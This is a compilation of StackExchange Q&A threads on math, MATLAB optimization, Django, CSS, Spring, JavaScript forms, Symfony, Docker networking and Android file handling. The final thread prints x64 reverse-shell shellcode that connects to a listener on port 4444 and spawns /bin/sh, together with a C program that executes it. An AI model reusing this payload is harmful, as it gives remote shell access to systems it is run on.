text:
Q: Given a sequence $a_k \in\mathbb{R}_+$ find the periodicity of $\sum\limits_k \sin(a_kx) $ I'm writing some code to visualize musical chords and I've hit a little snag with my math abilities.
Given a sequence $a_k \in\mathbb{R}_+$ find the periodicity of the function:
$$\sum\limits_k \sin(a_kx) $$
I really don't know what the method(s) for determining periodicity is(are). As a programmer I was considering opening wolfram endpoints and scraping the answers I needed from there but that's no fun. I appreciate your help and if you want to see what I'm building on I have a bit of code for this project posted here :: https://gist.github.com/Krewn/4c170d151afb1708220da25720d4890a

A: This problem relates to digital signal processing (DSP). For serious acquaintance with the theme can be recommended the book of Blahut
Methods for this problem solving are divided into linear (based on FFT) and non-linear (based on autoregressive models). Typical for linear methods are using of FFT algorythm with weighted Hamming window. Linear model presents signal as sum of known fixed harmonics with the constant step, and it's easy to realization.
The only drawback of the method is the limited accuracy of the frequency measurement.
But if you want to discover the frequency beyond the scale of the FFT, then the best choice becomes Durbin method based on AR model. I already wrote about this method on the Russian site, where you can find texts of programs. Here I give the translation of the article.
One of the best forecasting methods - autoregressive. In any case, the periodic bursts catch it.
Signal Model
The method - a model of autoregression (AR) of order $k$ for sample $i=0,1,\dots, n-1:$
$$x_i + f_0x_{i-1} + f_1x_{i-2} + f_2x_{i-3} + \dots + f_{k-1}x_{i-k} = 0,$$
where $i = k, k+1,\dots, n-1.$
The desired frequencies are the roots of the characteristic equation
$$1+f_0\omega+f_1\omega^2+f_2\omega^3+\dot+f_{k-1}\omega^{k}=0.$$
The order of the model should correspond approximately to the complexity of signal.
Toeplitz symmetry
According to the method of least squares, the discrepancy
$$\varepsilon = \left<(x_i + f_0x_{i-1} + f_1x_{i-2} + f_2x_{i-3} + ... + f_kx_{i-k})^2\right>_{i=k\dots n-1}$$
should be minimized.
For this, should equate to zero the partial derivatives by the AR coefficients $f_s$ for $s = 0\dots k-1$.
This leads to the following system of equations special:
\begin{cases}
a_0f_0 + a_1f_1 + a_2f_2 + ... + a_{k-2}f_{k-2} + a_{k-1}f_{k-1} = -a_1,\\
a_1f_0 + a_0f_1 + a_1f_2 + ... + a_{k-3}f_{k-2} + a_{k-2}f_{k-1} = -a_2,\\
a_2f_0 + a_1f_1 + a_0f_2 + ... + a_{k-4}f_{k-2} + a_{k-3}f_{k-1} = -a_3,\\
\dots\\
a_{k-2}f_0 + a_{k-3}f_1 + a_{k-4}f_2 + ... + a_0f_{k-2} + a_1f_{k-1} = -a_{k-1},\\
a_{k-1}f_0 + a_{k-2}f_1 + a_{k-3}f_2 + ... + a_1f_{k-2} + a_0f_{k-1} = -a_k,
\end{cases}
where $a$ is the autocorrelation function (ACF).
The first feature is the form of LHS matrix with the same coefficients on the main diagonal and that all the coefficients on the diagonal, equidistant from the main. Matrix with the symmetry of this type are called Toeplitz, and Levinson algorithm is applicable to them.
The second feature - that the free column members formed of the same elements of the matrix $a$, and the algorithm of Levinson-Durbin is applicable to such a system.
The third feature is in fact that considering matrix is Toeplitz only approximate. For example, for a second-order model, the exact form of the equations is:
$$\begin{cases}
\left<x_{i-1}^2\right>f_0 + \left<x_{i-1}x_{i-2}\right>f_1 = \left<x_ix_{i-1}\right>\\
\left<x_{i-1}x_{i-2}\right>f_0 + \left<x_{i-2}^2\right>f_1 = \left<x_ix_{i-2}\right>,
\end{cases}$$
where $i$ is the index of the amount of each type of $\left<u_i\right>$ runs from $2$ to the maximum.
It is not difficult to note that:
$1)$ the items of the main diagonal correspond to element zero autocorrelation function samples for computation are shifted by one element.
$2)$ the items on the secondary diagonal and the first item in the column of free terms correspond to the first element of the autocorrelation function, within diagonal elements are equal, and sample for free member moved toward them.
This can lead to unexpected effects for sequences with a strong increasing (decreasing) trend.
So, for the sample of the first $10$ members of the Fibonacci sequence
$x_i = \{1, 1, 2, 3, 5, 8, 13, 21, 34, 55\}$
we obtain the system of equations in form
$$\begin{cases}
1869f_0 + 1155f_1 = - 3024,\\
1155f_0 + 714f_1 = - 1869
\end{cases}$$
with the correct solution $f_0 = -1,\ f_1 = -1,$ but the expected Toeplitz symmetry of the problem doesn't exist.
The use of the ACF system gives
$$\begin{cases}
4893f_0 + 3024f_1 = - 3024,\\
3024f_0 + 4893f_1 = - 1869,
\end{cases}$$
using of which in this case is inappropriate. The main method of dealing with these effects - centering of the sample. But the main moment is checking the possibility of a serious simplification of the model for using of Durbin algorithm.
Durbin algorithm
The Durbin idea is to search for a solution as the matrix of dimension $n+1$ in the form of:
$$\left(f'_0, f'_1,\dots, f'_{n-1}, f'_n\right) = \left(f_0, f_1, ..., f_{n-1}, 0\right) + \beta\left(f_{n-1},f_{n-2},\dots,f_0,1\right).$$
Indeed, the substitution of this solution in a matrix of dimension $n+1,$ taking into account the dimension $n,$ gives the system:
$$\begin{cases}
-a_1 - \beta a_n + a_n\beta = -a_1,\\
-a_2 - \beta a_{n-1} + a_{n-1}\beta = -a_2,\\
\dots\\
-a_{n-1} - \beta a_1 + a_1\beta = -a_n,\\
a_nf_0 + a_{n-1}f_1 + a_{n-2}f_2 + ... + a_2f_{n-2} + a_1f_{n-1}\\ + \beta (a_nf_{n-1} + a_{n-1}f_{n-2} + a_{n-2}f_{n-3} + ... + a_2f_1 + a_1f_0 + a_0) = -a_{n+1}.
\end{cases}$$
$N$ the first equations of the system are satisfied for any value of $\beta$, the latter - at
$$\beta = - \dfrac{a_{n+1} + a_nf_0 + a_{n-1}f_1 + a_{n-2}f_2 +\dots+ a_2f_{n-2} + a_1f_{n-1}}{a_nf_{n-1} + a_{n-1}f_{n-2} + a_{n-2}f_{n-3} + \dots + a_2f_1 + a_1f_0 + a_0}.$$
durbin() function returns an array of AR vectors for a total of $n$ range.
For $n=1\ f = -\dfrac{a_1}{a_0},$ the following vectors of coefficients are calculated recursively (first $\beta$, and then $f$).
Software implementation
The program in PHP has the following features:
Centering array $center()$.
The scalar product of the vectors of the second vector shifted $scalar\_prod()$.
The output of the array with a text commentary $print\_array()$.
The output of the system of linear equations of the second order and its solutions $print\_s()$.
The calculation of the autocorrelation function (ACF) $acf().$
Compare accurate and Toeplitz second order systems and solutions for a given sample $compare\_s().$
Durbin algorithm for solving the system of equations of a special form $durbin()$.
Test Durbin algorithm $test\_durbin()$.
Results
The program showed high efficiency in a limited (sine) sample with a large volume of raw data.

A: Let $a_k \in \mathbb{Q}$ i.e. rational.
Numbers in a computer can be represented as rationals due to finite precision.
Let $\displaystyle a_k = \frac{n_k}{d_k}$ with $\gcd(n_k,d_k) = 1$
You want $a_kx = 2 \pi I_k$ where $I_k$ is an integer.
This will occur for all $\sin(a_kx)$ for any integer multiple of:
$$x = 2 \pi \displaystyle \prod_{k=1}^{N} d_{k}$$
$x$ will cancel out the denominator $d_k$ of all $\sin(a_k x)$.
No $d_k$ needs to be repeated so use the least common multiple $LCM$
If all $n_k$ are divisible by $2$ then it can be divided out. Any common divisor can be cancelled.
$$Period = \frac{2\pi \, LCM(d_1,\dots ,d_N)}{gcd(n_1,\dots,n_N)} $$


text:
Q: Find maxima on a surf plot using Particle Swarm Optimization I'm new to Particle swarm optimization.
I have a surf plot of a 2D image as shown below:

And is it possible to fire up the particles randomly and make them find the maxima (global)?
If yes, Can anyone please provide an algorithm or a sample code.
Thank you.
EDIT:
Did some coding and got the answer, for a small number of iterations like 10-15 the particles swarm at the maxima but if the iterations are made more than 15 like 50 etc, the particles move away from the maxima.
Can someone give a solution for it, I've included the matlab code and a sample image:
img = imread('gray_scale_img.jpg');
%img is grayscale

a=10; b=0.2; %a is convergence and b is convergence rate
% range=[xmin xmax ymin ymax zmin zmax];
range=[0 440 0 228 0 255]; %<<<---size of the image

Num_iterations = 15;%<<<----problem exists if more iterations
n = 30; % number of particles
best=zeros(Num_iterations,3);

% ----- Start Particle Swarm Optimization -----------
% generating the initial locations of n particles
xrange=range(2)-range(1);
yrange=range(4)-range(3);
zrange=range(6)-range(5);
xn=(rand(1,n)*xrange+range(1));
yn=(rand(1,n)*yrange+range(3));

% Start iterations
for k=1:Num_iterations,
% Show the contour of the function
surfc(double(img)); hold on;
% Find the current best location (xo,yo)

for d = 1:n
xn = ceil(xn);
yn = ceil(yn);
zn(d)=img(yn(d),xn(d));
end

zn_min=max(max(zn));
xo=max(max(xn(zn==zn_min)));
yo=max(max(yn(zn==zn_min)));
zo=max(max(zn(zn==zn_min)));

% Trace the paths of all roaming particles
% Display these roaming particles
plot3(xn,yn,zn,'.',xo,yo,zo,'rp'); axis(range);

% Move all the particles to new locations
nn=size(yn,2);  %a=alpha, b=beta
xn=xn.*(1-b)+xo.*b+a.*(rand(1,nn)-0.5);
yn=yn.*(1-b)+yo.*b+a.*(rand(1,nn)-0.5);
%zn=zn.*(1-b)+zo.*b+a.*(rand(1,nn)-0.5);

%To make sure the particles are well within the range
nn=length(yn);
for l=1:nn,
  if xn(l)<=range(1), xn(l)=range(1); end
  if xn(l)>=range(2), xn(l)=range(2); end
  if yn(l)<=range(3), yn(l)=range(3); end
  if yn(l)>=range(4), yn(l)=range(4); end
  %if zn(l)<=range(5), yn(l)=range(5); end
  %if zn(l)>=range(6), yn(l)=range(6); end
end
drawnow;
hold off;
best(k,1)=xo; best(k,2)=yo; best(k,3)=zo;pause(0.2);
end   %%%%% end of iterations

x_best = best(k,1);
y_best = best(k,2);
z_best = best(k,3);
global_maxima_coordinate =[x_best,y_best]

figure(3);
imshow(A,[]);
hold on
plot(x_best, y_best, 'bx')
% Draw circle of required radius around the global maxima
theta = 0:pi/50:2*pi;
radius_1 = 15;
xunit_circle_1 = radius_1 * cos(theta) + x_best;
yunit_circle_1 = radius_1 * sin(theta) + y_best;
h_1 = plot(xunit_circle_1, yunit_circle_1,'r');
hold off
title('Global maxima');

A: Did some coding and got the answer, for a small number of iterations like 10-15 the particles swarm at the maxima but if the iterations are made more than 15 like 50 etc, the particles move away from the maxima.
Can someone give a solution for it, I've included the matlab code and a sample image:
img = imread('gray_scale_img.jpg');
%img is grayscale

a=10; b=0.2; %a is convergence and b is convergence rate
% range=[xmin xmax ymin ymax zmin zmax];
range=[0 440 0 228 0 255]; %<<<---size of the image

Num_iterations = 15;%<<<----problem exists if more iterations
n = 30; % number of particles
best=zeros(Num_iterations,3);

% ----- Start Particle Swarm Optimization -----------
% generating the initial locations of n particles
xrange=range(2)-range(1);
yrange=range(4)-range(3);
zrange=range(6)-range(5);
xn=(rand(1,n)*xrange+range(1));
yn=(rand(1,n)*yrange+range(3));

% Start iterations
for k=1:Num_iterations,
% Show the contour of the function
surfc(double(img)); hold on;
% Find the current best location (xo,yo)

for d = 1:n
xn = ceil(xn);
yn = ceil(yn);
zn(d)=img(yn(d),xn(d));
end

zn_min=max(max(zn));
xo=max(max(xn(zn==zn_min)));
yo=max(max(yn(zn==zn_min)));
zo=max(max(zn(zn==zn_min)));

% Trace the paths of all roaming particles
% Display these roaming particles
plot3(xn,yn,zn,'.',xo,yo,zo,'rp'); axis(range);

% Move all the particles to new locations
nn=size(yn,2);  %a=alpha, b=beta
xn=xn.*(1-b)+xo.*b+a.*(rand(1,nn)-0.5);
yn=yn.*(1-b)+yo.*b+a.*(rand(1,nn)-0.5);
%zn=zn.*(1-b)+zo.*b+a.*(rand(1,nn)-0.5);

%To make sure the particles are well within the range
nn=length(yn);
for l=1:nn,
  if xn(l)<=range(1), xn(l)=range(1); end
  if xn(l)>=range(2), xn(l)=range(2); end
  if yn(l)<=range(3), yn(l)=range(3); end
  if yn(l)>=range(4), yn(l)=range(4); end
  %if zn(l)<=range(5), yn(l)=range(5); end
  %if zn(l)>=range(6), yn(l)=range(6); end
end
drawnow;
hold off;
best(k,1)=xo; best(k,2)=yo; best(k,3)=zo;pause(0.2);
end   %%%%% end of iterations

x_best = best(k,1);
y_best = best(k,2);
z_best = best(k,3);
global_maxima_coordinate =[x_best,y_best]

figure(3);
imshow(A,[]);
hold on
plot(x_best, y_best, 'bx')
% Draw circle of required radius around the global maxima
theta = 0:pi/50:2*pi;
radius_1 = 15;
xunit_circle_1 = radius_1 * cos(theta) + x_best;
yunit_circle_1 = radius_1 * sin(theta) + y_best;
h_1 = plot(xunit_circle_1, yunit_circle_1,'r');
hold off
title('Global maxima');

And here is a sample image:

redpajama_set_name: RedPajamaStackExchange


text:
Q: Android studio shows error whenever I add new fragment or java file Whenever I add a new java file or fragment to the android studio it shows error automatically but works completely fine.
Here is my code :


text:
Q: Stuck with "Practical Django Projects" Got another error with this tutorial. Should I give up and move on to another? …
Anyway.. here it goes:
Environment:

Request Method: GET
Request URL: http://127.0.0.1:8000/admin/
Django Version: 1.2.5
Python Version: 2.5.4
Installed Applications:
['django.contrib.auth',
 'django.contrib.contenttypes',
 'django.contrib.sessions',
 'django.contrib.sites',
 'django.contrib.messages',
 'django.contrib.admin',
 'django.contrib.flatpages',
 'cms.search',
 'coltrane',
 'tagging']
Installed Middleware:
('django.middleware.common.CommonMiddleware',
 'django.contrib.sessions.middleware.SessionMiddleware',
 'django.middleware.csrf.CsrfViewMiddleware',
 'django.contrib.auth.middleware.AuthenticationMiddleware',
 'django.contrib.messages.middleware.MessageMiddleware')

Traceback:
File "/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/site-packages/django/core/handlers/base.py" in get_response
  91.                         request.path_info)
File "/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/site-packages/django/core/urlresolvers.py" in resolve
  215.             for pattern in self.url_patterns:
File "/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/site-packages/django/core/urlresolvers.py" in _get_url_patterns
  244.         patterns = getattr(self.urlconf_module, "urlpatterns", self.urlconf_module)
File "/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/site-packages/django/core/urlresolvers.py" in _get_urlconf_module
  239.             self._urlconf_module = import_module(self.urlconf_name)
File "/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/site-packages/django/utils/importlib.py" in import_module
  35.     __import__(name)

Exception Type: SyntaxError at /admin/
Exception Value: invalid syntax (urls.py, line 6)

Here's the urls:
from django.conf.urls.defaults import *

from coltrane.models import Entry

entry_info_dict = {
    'queryset': Entry.objects.all(),
    'date_field': 'pub_date',
}

urlpatterns = patterns('django.views.generic.date_based',
    (r'^$', 'archive_index', entry_info_dict, 'coltrane_entry_archive_index'),

    (r'^(?P<year>\d{4})/$', 'archive_year', entry_info_dict, 'coltrane_entry_archive_year'),

    (r'^(?P<year>\d{4})/(?P<month>\w{3})/$', 'archive_month', entry_info_dict, 'coltrane_entry_archive_month'),

    (r'^(?P<year>\d{4})/(?P<month>\w{3})/(?P<day>\d{2})/$', 'archive_day', entry_info_dict, 'coltrane_entry_archive_day'),

    (r'^(?P<year>\d{4})/(?P<month>\w{3})/(?P<day>\d{2})/(?P<slug>[-\w]+)/$', 'object_detail', entry_info_dict, 'coltrane_entry_detail'),
)

I guess the error is on entry_info_dict. Any help? Thanks in advance.
Here's the models.py:
import datetime
from django.conf import settings
from django.db import models
from django.contrib.auth.models import User
from tagging.fields import TagField
from markdown import markdown
import tagging

class Category(models.Model):
    title = models.CharField(max_length=250, help_text='Maximum 250 characters.')
    slug = models.SlugField(help_text="Suggested value automatically generated from title. Must be unique.")
    description = models.TextField()

    class Meta:
        ordering = ['title']
        verbose_name_plural = "Categories"

    def __unicode__(self):
        return self.title

    @models.permalink
    def get_absolute_url(self):
        return ('coltrane_category_detail', (), { 'slug': self.slug })

class Entry(models.Model):
    LIVE_STATUS = 1
    DRAFT_STATUS = 2
    HIDDEN_STATUS = 3
    STATUS_CHOICES = (
        (LIVE_STATUS, 'Live'),
        (DRAFT_STATUS, 'Draft'),
        (HIDDEN_STATUS, 'Hidden'),
    )

    # Core fields
    title = models.CharField(max_length=250)
    excerpt = models.TextField(blank=True)
    body = models.TextField()
    pub_date = models.DateTimeField(default=datetime.datetime.now)

    # Metadata
    author = models.ForeignKey(User)
    enable_comments = models.BooleanField(default=True)
    featured = models.BooleanField(default=False)
    slug = models.SlugField(unique_for_date='pub_date')
    status = models.IntegerField(choices=STATUS_CHOICES, default=LIVE_STATUS)

    # Categorization
    categories = models.ManyToManyField(Category)
    tags = TagField()

    # Fields to store generated HTML
    excerpt_html = models.TextField(editable=False, blank=True)
    body_html = models.TextField(editable=False, blank=True)

    class Meta:
        verbose_name_plural = "Entries"
        ordering = ['-pub_date']

    def save(self, force_insert=False, force_update=False):
        self.body_html = markdown(self.body)
        if self.excerpt:
            self.excerpt_html = markdown(self.excerpt)
        super(Entry, self).save(force_insert, force_update)

    def __unicode__(self):
        return self.title

    @models.permalink
    def get_absolute_url(self):
        return ('coltrane_entry_detail', (), { 'year': self.pub_date_strftime("%Y"), 'month': self.pub_date_strftime("%b").lower(), 'day': self.pub_date.strftime("%d"), 'slug': self.slug })

Here's the main urls.py
from django.conf.urls.defaults import *
from django.contrib import admin
import settings
admin.autodiscover()

from coltrane.models. import Entry

urlpatterns = patterns('',
    # Example:
    # (r'^cms/', include('cms.foo.urls')),

    # Uncomment the admin/doc line below to enable admin documentation:
    # (r'^admin/doc/', include('django.contrib.admindocs.urls')),

    # Uncomment the next line to enable the admin:
    (r'^admin/', include(admin.site.urls)),
    (r'^search/$', 'cms.search.views.search'),
    (r'tiny_mce/(?P<path>.*)$', 'django.views.static.serve', { 'document_root': '/Users/danielcorreia/Sites/tinymce/jscripts/tiny_mce' }),
    (r'^weblog/', include('coltrane.urls')),
    (r'', include('django.contrib.flatpages.urls')),
)

A: In your main urls.py you have:
from coltrane.models. import Entry

Change that to:
from coltrane.models import Entry

That will fix this. :D

A: Your model have a "live" manager?


text:
Q: Woo-commerce Composite Products in one line? I don't know style my composite product components into one line?It seems they're all separate div's.
Like this : https://www.exit82art.com/shop/selena-fara/pretty-things
My site : https://exit82artstore.blackbearweb.us/product/pretty-things/

A: Woocommerce can be quite confusing since the templates are deeply nested and not always that spelling. So there are two ways to achieve what you want.
1. Overwrite the Woocommerce templates
The first thing you could do is simply overwriting the PHP template for this partial. In this case, you would gain control of the markup and you could customize it according to your needs.
Check out the docs about custom templates to pick the one you need: https://docs.woocommerce.com/document/template-structure/
2. Pure CSS approach (recommended)
If you don't want to maintain custom templates in the future, you can also achieve the exact same thing with pure CSS. Simply use flex.
.composite_form .component {
  display: flex;
  align-items: center;
  flex-direction: row-reverse;
}

.composite_form .step_title_wrapper {
  margin-left: 20px;
  margin-bottom: 0;
  padding: 0;
}

.component_wrap {
  display: flex;
  align-items: center;
  flex-direction: row-reverse;
}

.component_wrap .price {
  margin-bottom: 0;
}

be aware of the browser support of flex: https://caniuse.com/#search=flex


text:
Q: Spring autowired injection fails for my annotated beans I'm trying to autowire some beans together (I've created a simplified version of what I'm trying to accomplish) but I keep getting told the autowired bean is null.
Caused by: java.lang.NullPointerException
    at bean.HelloWorld.getMessage(HelloWorld.java:15)

TestDAO.java
package dao;
import org.springframework.context.annotation.Primary;
import org.springframework.stereotype.Repository;
@Primary
@Repository("testDAO")
public class TestDAO {
    public String getMessage() {
        return "Hello World!";
    }
}

TestSOA.java
package soa;
import dao.TestDAO;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service("testSOA")
public class TestSOA {
    @Autowired
    private TestDAO testDAO;
    public String getMessage() {
        return testDAO.getMessage();
    }
}

HelloWorld.java
package bean;
import java.io.Serializable;
import javax.faces.bean.ManagedBean;
import javax.faces.bean.SessionScoped;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import soa.TestSOA;
@ManagedBean(name = "helloWorld")
@SessionScoped
@Controller
public class HelloWorld implements Serializable {
    @Autowired
    private TestSOA testSOA;
    public String getMessage() {
        return testSOA.getMessage();
    }
}

applicationContext.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xmlns:aop="http://www.springframework.org/schema/aop"
xmlns:tx="http://www.springframework.org/schema/tx"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.1.xsd
http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.1.xsd
http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.1.xsd
http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.1.xsd">

    <context:component-scan base-package="dao, soa, bean"/>

</beans>

Then in index.xhtml
Message:<h:outputText value="#{helloWorld.message}"/>

I don't understand, I thought I did everything I was suppose to.
web.xml has the ContextLoaderListener declared. I've tried using CDI and other Spring methods and manually wiring with applicationContext.xml. Nothing...
My guess is I'm not getting some fundamental principal concerning Spring or injection.
I'm using Java 1.6, Spring 3.1.1, and Tomcat 7.0.34.0

A: Try adding <context:annotation-config /> to your applicationContext.xml before <context:component-scan> to enable annotation based Spring configuration. See Annotation-based container configuration section in Spring reference.

A: Besides the  provided, to inject a Spring managed bean into JSF managed bean, you have to be able to delegate resolution of managed beans to an external resolver.
Check your web.xml for org.springframework.web.context.request.RequestContextListener
and
faces-config.xml for org.springframework.web.jsf.el.SpringBeanFacesELResolver.
See also http://deevodavis.wordpress.com/injecting-spring-beans-into-jsf-2-managedbean-classes/


text:
Q: Creating elements on DOM dynamically but form not sending anything I have a form which has some of its fields dynamically added based on another field, I was able to make it create the elements, but when I send the form, none of those are sent with the non dynamically fields that are loaded on page load.
Here's how I'm adding
function foo(field) {
var selectionDiv = document.getElementById("div_" + field);

var divLength = selectionDiv.children.length;
for (var i = 0; i < divLength; i++) {
    if (selectionDiv.children[i].id.indexOf(field) != -1) {
        var element = document.createElement(selectionDiv.children[i].tagName);
        element.setAttribute("type", selectionDiv.children[i].type);
        element.setAttribute("value", selectionDiv.children[i].value);
        element.setAttribute("id", selectionDiv.children[i].id);
        if (selectionDiv.children[i].className != "") {
            element.setAttribute("class", selectionDiv.children[i].className);
        }
        $(element).appendTo("#div_" + field);
    }
}
}

The HTML after insertion:
<form action="/URL" id="form" method="post" name="form" onsubmit="Confirmation('Are you sure?');return false;">

<...OtherFields...>

test:

        <input id="Fields_test__Identity" name="Fields[test].Identity" type="hidden" value="test">
        <input class="form-control hasTooltip" data-placement="right" data-toggle="tooltip" id="Fields_test__Value" name="Fields[test].Value" title="" type="text" value="*">

        <button type="button" onclick="foo('test'); return false;" class="btn btn-default hasTooltip form-control" data_toggle="tooltip" data_placement="right" title=""></button>
        <input type="hidden" value="test" id="Fields_test1__Identity"><input type="text" value="*" id="Fields_test1__Value" class="form-control hasTooltip">

<...MoreFields...>
</form>

Any thoughts?

A: When you are creating dynamically the element, the attribute "name" is missing, try the following code:
function foo(field) {
var selectionDiv = document.getElementById("div_" + field);

var divLength = selectionDiv.children.length;
for (var i = 0; i < divLength; i++) {
    if (selectionDiv.children[i].id.indexOf(field) != -1) {
        var element = document.createElement(selectionDiv.children[i].tagName);
        element.setAttribute("type", selectionDiv.children[i].type);
        element.setAttribute("value", selectionDiv.children[i].value);
        element.setAttribute("id", selectionDiv.children[i].id);
        element.setAttribute("name", selectionDiv.children[i].id);
        if (selectionDiv.children[i].className != "") {
            element.setAttribute("class", selectionDiv.children[i].className);
        }
        $(element).appendTo("#div_" + field);
    }
}
}


text:
Q: foreach in symfony 2 Having trouble working out how to get the last iterate row every 4 it puts in a  but i need to find the last one so I can make that do something
foreach( $gallery->getMedia() as $key => $media )
{
        if( ($key % 4 ) == 0 ) $html .= '

';
        $url = $media->dir . '/' . $media->filename;

        $html .= sprintf( '

id ,
                $media->id ,
                $url,
                $gallery->name ,
                $media->id ,
                $this->generateThumbUrl( $url, array( 'width' => 100, 'height'=> 120, 'zoom' => true) ),
                $media->title,
                $galleryID  );

A: If you're using Symfony2 then you definitely shouldn't be rendering HTML content like this, you should be using the templating engine, Twig.
e.g. From a controller (I assume this is in a controller):
return $this->render('BundleName:ControllerName:view.html.twig', array(
    'gallery' => $gallery
);

Then in your /path/to/BundleName/Resources/views/ControllerName/view.html.twig template:
{% for key, media in gallery.media %}
    {% if loop.last %}
        {# Logic for the last iteration of the loop #}
    {% endif %}

    {% if loop.index % 4 == 0 %}
        {# Logic for every 4th iteration #}
    {% endif %}

    {# other code... #}

{% endfor %}


text:
Q: about some characterisation of non-measurable function. We know that a set E is measurable if and only if characteristics function of E is measurable function. So if N is non measurable set then characteristics function of N is non measurable function.
My question is that are the all non-measurable functions?
( yeah, by adding or by other algebraic operation of some nice function with this characteristics fns gives also non-measurable function. I am asking whether we can get a non-measurable fn without this characteristics fns kind of stuffs!)

A: How's about this:
Let $S$ be a non-measurable subset of $(0,+\infty)$.
$$f(x)=\begin{cases} x, \, x\in S\\-x, \, x\notin S\end{cases}$$
But notice that $\{x : f(x) \ge 0\}=S \sqcup (-\infty,0]$, which is not a measurable set. Thus $f$ is not measurable.


text:
Q: docker 1.9.0 network support in mesos Is mesos provide support for docker 1.9.0 custom network creation facility?
Using docker 1.9.0 I can create my own network which binds with a custom linux bridge instead of legacy docker0 bridge, once container is launched in customed network.
sudo docker network create --subnet=172.23.0.0/16 bridge1

Create a bridged network bridge1. but previous docker version has only three networks (bridge,host,none).
So, does latest versions of marathon and mesos support this changes?
Thanking in advance.

A: As of this writing, Mesos does not support networks created via the docker network create command. For single-host networks, there is a ticket tracking the addition of this functionality here.
The community has not reached consensus on whether or not Mesos will attempt to integrate Docker's multi-host networking feature; you can find a discussion on this subject in this ticket.


text:
Q: Android Studio: Can't open file after app restarts if I click a button a file will be created and an integer value gets written in the file. If I click another button the value gets extracted out of the file.
If I close the app an restart it the file can't be found.
Is it because the file is created in de android:onCLick method?
here are the two methods:
Write:
 public void buttonAddClick (View view){

    file = new File(directory, "file" + c.getDisplayName(Calendar.MONTH, Calendar.LONG, Locale.ENGLISH) + ".txt");
    if (!file.exists()) {
        try {
            file.createNewFile();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    try {
        BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter(file,true));
        bufferedWriter.append(editAm.getText());
        bufferedWriter.append("\n");
        bufferedWriter.close();
        editAm.setText(null);
    } catch (IOException e) {
        e.printStackTrace();
    }

}

Read:
public void buttonShowClick(View view) {

    try {
        BufferedReader bufferedReader = new BufferedReader(new FileReader(file));
        zwischensumme = 0;
        String line;

        while ((line = bufferedReader.readLine()) != null) {
            zwischensumme += Double.parseDouble(line);
            line = "";
        }
        bufferedReader.close();

    } catch (FileNotFoundException e) {
        e.printStackTrace();
    } catch (IOException e) {
        e.printStackTrace();
    }
      catch (NumberFormatException e){
        e.printStackTrace();
        file.delete();
    }

}

A: Looks like you might get a NumberFormatException.
Check stacktrace to see if you get into the catch (NumberFormatException e) block.
If you fall into this block, then the file is indeed deleted due to your catch block :
catch (NumberFormatException e){
        e.printStackTrace();
        file.delete();
    }

Also Hermann Klecker is right. You name your file based on date time.
You don't show how you retrieve the file in the read part. Is it based on a file name ?
As you may not know the file name (due to date/time relation) do something like so in onResume if (file == null):
File directory = new File("/path/to/directory");
File[] foundFiles = directory.listFiles(new FilenameFilter() {
    public boolean accept(File dir, String name) {
        return name.startsWith("file");
    }
});

if (!foundFiles.isEmpty()) {
  file = foundFiles[0];
}

This way, if the first file name start with 'file', it will be used

A: You may get confused with your file variable. It seems to be an instance variable of your class. It is being insantiated in buttonAddClick. When you now run your app again, it is not being instaniated but used in buttonShowClick (as far as we can see).
I guess it is null.


text:
Q: shellcode working , but no in a custom C program my payload asm works , but I tried to embed to my own c program it works. conect to my nc port 4444 then brake the conection . I dont why this it happen if I tested this example on my asm executable and it works perfectly , but on my c program not. what can I do ? how can I debug it?
#include <stdio.h>

unsigned char random[] = "0E249hvzColk1lZ4Vk1eccJM07x2FuitUVsliNPA5FybQn-Ny7DQJ0t-JCvDnm-mZY8YkyOtj6xgN1AUKzcBtr9rRCdGlZCjNnOKGbMzfpQQUampvZsqE0MRDhcvyvpOWzqZG5QJGBuL4-u0MipHq1ioOyNdcWcsRF0zPBd7iI76tTK5CPeDhklfSNQKaw50tsA1lEXDl7mVcvre9b6I-cUR1hYg2oLC6W0zwznvIizbea21OOB9oke5hYdWSSmI181bwvP6IuR20HIu1rGjKgnjHbClcMt9DWBOHBrtxSVUddgparNs5mR3lK3AtY85DN9W2ikX0lOSZbgcB47KC-wSGYRWOuqj1G8ebqUIArlnGk1TBKdwmezfz7RXHsa0EBlFRz60H9lDyQjJb31e78Ff1xXsFEJ5mnkU9rL5NDxPxyOkqxQoO1-6iR62feGLvQdUKfqXF2G0X8NMYqx0UWa78ezsOGsqdnwU5ktwMm2jaPZ5F1G8GKJFYGr7SXz6";

//\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 64 bits shell

unsigned char shellcode[] =  "\x68\xac\x14\x0a\x02\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x6a\x10\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05";

int main(void){
    ((void (*)())shellcode)();
}

./custom
Segmentation fault (core dumped)

A: You are trying to convert an object pointer shellcode to a function pointer in the following statement:
((void (*)())shellcode)();

This can lead to undefined behaviour.
C99 standard states this on the section on function pointers:

Even with an explicit cast, it is invalid to convert a function pointer to an object pointer or a pointer to void, or vice versa.

